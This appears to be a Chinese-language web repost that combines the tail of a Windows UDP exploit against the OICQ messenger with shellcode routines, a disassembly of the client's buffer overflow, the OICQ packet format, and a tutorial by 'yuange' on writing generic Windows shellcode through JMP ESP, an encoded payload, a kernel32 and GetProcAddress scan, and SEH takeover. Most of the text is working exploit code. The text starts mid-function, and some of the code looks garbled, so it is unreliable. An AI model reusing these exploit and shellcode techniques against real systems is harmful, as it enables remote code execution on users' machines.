fprintf(stderr,"n send packet %d bytes.",j);
sendto(fd,buff,j,0,(const struct sockaddr FAR* )&s_in3,sizeof(struct sockaddr_in));
}
closesocket(fd);
WSACleanup( );
return(0);
}

void shellcodefnlock()
{
_asm{
nop
nop
nop
nop
jmp next
getediadd: pop EDI
push EDI
pop ESI
looplock: lodsw
sub AX,0x4141
shl AL,4
xor AL,AH
stosb
cmp AH,0x10
jb looplock
jmp shell
next: call getediadd
shell: nop
nop
nop
nop
}
}

void shellcodefn()
{
// const char str[]="user32.dll""x0""MessageBoxA""x0""msvcrtd.dll""x0""exit";
FARPROC procloadlib,procgetadd,procmsg,procexit;
char *stradd;
HANDLE libhandle;
procloadlib = LoadLibraryfnaddress;
procgetadd = GetProcAddressfnaddress;
_asm
{
jmp nextcall
getstradd: pop stradd
}
libhandle=procloadlib(stradd+STR0);
procmsg=procgetadd(libhandle,stradd+STR1);
procmsg(0,stradd+STR3,stradd+STR2,0);
// libhandle=procloadlib(stradd+STR6);
// opensocketadd=procgetadd(stradd+str7);
libhandle=procloadlib(stradd+STR4);
procexit =procgetadd(libhandle,stradd+STR5);
procexit(0);
_asm{
die: jmp die
nextcall: call getstradd
nop
nop
nop
nop
}
}
void cleanchkesp(char *fnadd,char *shellbuff,char * chkesp,int len)
{
int i,k;
unsigned char temp;
char *calladd;

for(i=0;i<len;++i){
temp=shellbuff;
if(temp==0xe8){
// (int *)k=*(shellbuff+i+1);
k=shellbuff+i+1;
_asm{
mov EDI,k
mov EDI,[EDI]
mov k,EDI
}

calladd=fnadd;
calladd+=k;
calladd+=i;
calladd+=5;
if(calladd==chkesp){
shellbuff=0x90;
shellbuff[i+1]=0x43; // inc ebx
shellbuff[i+2]=0x4b; // dec ebx
shellbuff[i+3]=0x43;
shellbuff[i+4]=0x4b;
}
}
}
}

 

/* OICQ有问题代码

:00425D51 837C240800 cmp dword ptr [esp+08], 00000000
:00425D56 740C je 00425D64
:00425D58 8B01 mov eax, dword ptr [ecx]
:00425D5A FF742408 push [esp+08]
:00425D5E FF90B8000000 call dword ptr [eax+000000B8]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00425D56(C)
|
:00425D64 33C0 xor eax, eax
:00425D66 C20800 ret 0008


:00425D69 B8E4774900 mov eax, 004977E4
:00425D6E E80D700300 call 0045CD80
:00425D73 81EC10040000 sub esp, 00000410
;有溢出 yrg 2000.04.18
;缓冲区大小

:00425D79 53 push ebx
:00425D7A 56 push esi
:00425D7B 8B7508 mov esi, dword ptr [ebp+08]
:00425D7E 8D85E4FBFFFF lea eax, dword ptr [ebp+FFFFFBE4]
:00425D84 57 push edi
:00425D85 50 push eax
:00425D86 FF7628 push [esi+28]
:00425D89 8BD9 mov ebx, ecx
:00425D8B FF7624 push [esi+24]
:00425D8E E8C9000000 call 00425E5C
:00425D93 85C0 test eax, eax
:00425D95 0F84B0000000 je 00425E4B
:00425D9B 8D85E8FBFFFF lea eax, dword ptr [ebp+FFFFFBE8]
:00425DA1 8D4DF0 lea ecx, dword ptr [ebp-10]
:00425DA4 50 push eax
:00425DA5 E8CFF10400 call 00474F79
:00425DAA 8365FC00 and dword ptr [ebp-04], 00000000
:00425DAE 8BBDE6FBFFFF mov edi, dword ptr [ebp+FFFFFBE6]
:00425DB4 56 push esi
:00425DB5 8D4D08 lea ecx, dword ptr [ebp+08]
:00425DB8 E8BCF10400 call 00474F79
:00425DBD 0FB785E4FBFFFF movzx eax, word ptr [ebp+FFFFFBE4]
:00425DC4 8B7620 mov esi, dword ptr [esi+20]
:00425DC7 83E878 sub eax, 00000078
:00425DCA C645FC01 mov [ebp-04], 01
:00425DCE 7434 je 00425E04
:00425DD0 48 dec eax
:00425DD1 7560 jne 00425E33
:00425DD3 51 push ecx
:00425DD4 8D45F0 lea eax, dword ptr [ebp-10]
:00425DD7 8BCC mov ecx, esp
:00425DD9 8965EC mov dword ptr [ebp-14], esp
:00425DDC 50 push eax
:00425DDD E89EEE0400 call 00474C80
:00425DE2 57 push edi
:00425DE3 56 push esi
:00425DE4 51 push ecx
:00425DE5 8D4508 lea eax, dword ptr [ebp+08]
:00425DE8 8BCC mov ecx, esp
:00425DEA 8965E8 mov dword ptr [ebp-18], esp
:00425DED 50 push eax
:00425DEE C645FC03 mov [ebp-04], 03
:00425DF2 E889EE0400 call 00474C80
:00425DF7 8BCB mov ecx, ebx
:00425DF9 C645FC01 mov [ebp-04], 01
:00425DFD E8D4030000 call 004261D6
:00425E02 EB2F jmp 00425E33

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00425DCE(C)
|
:00425E04 51 push ecx
:00425E05 8D45F0 lea eax, dword ptr [ebp-10]
:00425E08 8BCC mov ecx, esp
:00425E0A 8965E8 mov dword ptr [ebp-18], esp
:00425E0D 50 push eax
:00425E0E E86DEE0400 call 00474C80
:00425E13 57 push edi
:00425E14 56 push esi
:00425E15 51 push ecx
:00425E16 8D4508 lea eax, dword ptr [ebp+08]
:00425E19 8BCC mov ecx, esp
:00425E1B 8965EC mov dword ptr [ebp-14], esp
:00425E1E 50 push eax
:00425E1F C645FC02 mov [ebp-04], 02
:00425E23 E858EE0400 call 00474C80
:00425E28 8BCB mov ecx, ebx
:00425E2A C645FC01 mov [ebp-04], 01
:00425E2E E860040000 call 00426293

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00425DD1(C), :00425E02(U)
|
:00425E33 8065FC00 and byte ptr [ebp-04], 00
:00425E37 8D4D08 lea ecx, dword ptr [ebp+08]
:00425E3A E8CCF00400 call 00474F0B
:00425E3F 834DFCFF or dword ptr [ebp-04], FFFFFFFF
:00425E43 8D4DF0 lea ecx, dword ptr [ebp-10]
:00425E46 E8C0F00400 call 00474F0B

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00425D95(C)
|
:00425E4B 8B4DF4 mov ecx, dword ptr [ebp-0C]
:00425E4E 5F pop edi
:00425E4F 5E pop esi
:00425E50 64890D00000000 mov dword ptr fs:[00000000], ecx
:00425E57 5B pop ebx
:00425E58 C9 leave
:00425E59 C20400 ret 0004
*/


/* OICQ消息的UDP数据结构,参见ZER9的《OICQ的安全问题 》
struct TOicqPtoP
{
char Tag1; // 0x02 // 显然是 Oicq 的协议编号 or 版本,固定
char Tag2; // 0x01 // 显然是 Oicq 的协议编号 or 版本,固定
char Tag3; // 0x07
char Tag4; // 0x00
char Tag5; // 0x78
char Tag6; // 这两个字节相当于 unix 上的进程 ID,
char Tag7; // 随便赋值就可。
char cOicqNub[]; // 发送方的Oicq 号码。 exp:123456
char cFF; // 0x1f 在所有的Oicq 信息结构中,分割符都是 0x1f
char cR; // '0' 固定
char cFF; //
char cE[]; // "75" ,这一位相对固定,可能是操作方式。
char cFF;
char cDateTime[]; // exp: "2000-4-10",0x1f,"12:00:12",0x1f
char OutMsg[]; // 发送的消息内容。
char cEnd; // 0x03 ,所有的 oicq 信息都已 0x03 为标记结束。
};
*/

D:windows下的SHELLCODE编写高级技巧

作者:yuange (mailto:yuange@nsfocus.com)

unix等系统因为有用户概念,所以往往溢出是使用先得到普通帐号,然后登陆后用溢出
再加载一个SHELL的办法得到ROOT权限,其系统调用又方便,所以SHELLCODE编写一般都比
较简单。但WINDOWS系统往往不提供登陆服务,所以溢出攻击的SHELLCODE往往要提供SOCKET
连接,要加载程序得到SHELL等,而WINDOWS的系统调用int2e接口又不如unix系统调用int80
规范,所以一般都使用API,而API函数地址又因为系统版本的不同而不一样,所以要编写
WINDOWS下面比较实用、通用点的SHELLCODE比较麻烦。

经过一段时间的思考,得到了WINDOWS下编写SHELLCODE的比教好的办法。
1、溢出点确定。使用溢出点附近覆盖一片一个RET指令地址的办法,这样只要知道溢出
点大致范围就可以了。
2、SHELLCODE定位。使用ESP寄存器定位,只要前面那覆盖的RET地址后面放一个JMP
ESP功能的指令地址就可以定位了。
3、RET指令地址、JMP ESP功能指令地址采用代码页里面的地址,54 C3,或者FF E4
、C3这个一个语言的WINDOWS地址固定,也很好找这个地址。

4、SHELLCODE直接使用C语言编写,方便编写、修改、调试。

5、SHELLCODE统一编码,满足应用条件对SHELLCODE字符的限制,用一段小汇编代码解
码,这样编写SHELLCODE就可以不用考虑特殊字符了。
6、通信加密,对付防火墙,实现FTP功能,实现内存直接接管WEB服务等的高级应用。

下面主要介绍介绍编写通用SHELLCODE的办法。主要SHELLCODE里面使用的API自己用
GetProcAddress定位,要使用库用LoadLibraryA加载。那这样SHELLCODE就只依靠这两个
API了。那这两个API的地址又怎么解决呢,LoadLibraryA这个API在系统库KERNEL32.DLL里
面,也可以使用GetProcAddress得到。那关键就是要找到系统库kernel32.dll和
GetProcAddress的地址了。因为一般应用程序都会加载kernel32.dll,所以解决办法就是在
内存里面找到这个系统库和API地址,所幸知道了WINDOWS的模块数据结构也就不难了,主要
是增加异常结构处理 。下面是VC6.0程序代码:

void shellcodefn()
{
int *except[3];
FARPROC procgetadd=0;
char *stradd;
int imgbase,fnbase,i,k,l;
HANDLE libhandle;
_asm {
jmp nextcall
getstradd: pop stradd
lea EDI,except
mov eax,dword ptr FS:[0]
mov dword ptr [edi+0x08],eax
mov dword ptr FS:[0],EDI
}
except[0]=0xffffffff;
except[1]=stradd-0x07;
/* 保存异常结构链和修改异常结构链,SHELLCODE接管异常 */

imgbase=0x77e00000;
/* 搜索KERNEL32.DLL 的起始其实地址 */

call getexceptretadd
}
/* 得到异常后的返回地址 */
for(;imgbase<0xbffa0000,procgetadd==0;){
imgbase+=0x10000;
/* 模块地址是64K为单位,加快速度*/
if(imgbase==0x78000000) imgbase=0xbff00000;
/* 如果到这还没有搜索到,那可能是WIN9X系统 */
if(*( WORD *)imgbase=='ZM'&& *(WORD *)
(imgbase+*(int *)(imgbase+0x3c))=='EP'){
/* 模块结构的模块头 */
fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase;
k=*(int *)(fnbase+0xc)+imgbase;
if(*(int *)k =='NREK'&&*(int *)(k+4)=='23LE'){
/* 模块名 */
libhandle=imgbase;
/* 得到模块头地址,就是模块句柄 */
k=imgbase+*(int *)(fnbase+0x20);
for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){
if(*(int *)(imgbase+*(int *)k)=='PteG'&&*(int *)(4+imgbase+*(int *)k)=='Acor'){
/* 引出名 */
k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24));
k+=*(int *)(fnbase+0x10)-1;
k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c));
procgetadd=k+imgbase;
/* API地址 */
break;
}
}
}
}
}
// 搜索KERNEL32。DLL模块地址和API函数 GetProcAddress地址
// 注意这儿处理了搜索页面不在情况。

_asm{
lea edi,except
mov eax,dword ptr [edi+0x08]
mov dword ptr fs:[0],eax
}
/* 恢复异常结构链 */


if(procgetadd==0) goto die ;
/* 如果没找到GetProcAddress地址死循环 */
die: goto die ;

_asm{

getexceptretadd: pop eax
push eax
mov edi,dword ptr [stradd]
mov dword ptr [edi-0x0e],eax
ret
/* 得到异常后的返回地址,并填写到异常处理模块 */

/* 异常处理模块 */
errprogram: mov eax,dword ptr [esp+0x0c]
add eax,0xb8
mov dword ptr [eax],0x11223344 //stradd-0xe
/* 修改异常返回EIP指针 */
xor eax,eax //2
/* 不提示异常 */
ret //1
/* 异常处理返回 */
execptprogram: jmp errprogram //2 bytes stradd-7
nextcall: call getstradd //5 bytes
}
}
原创粉丝点击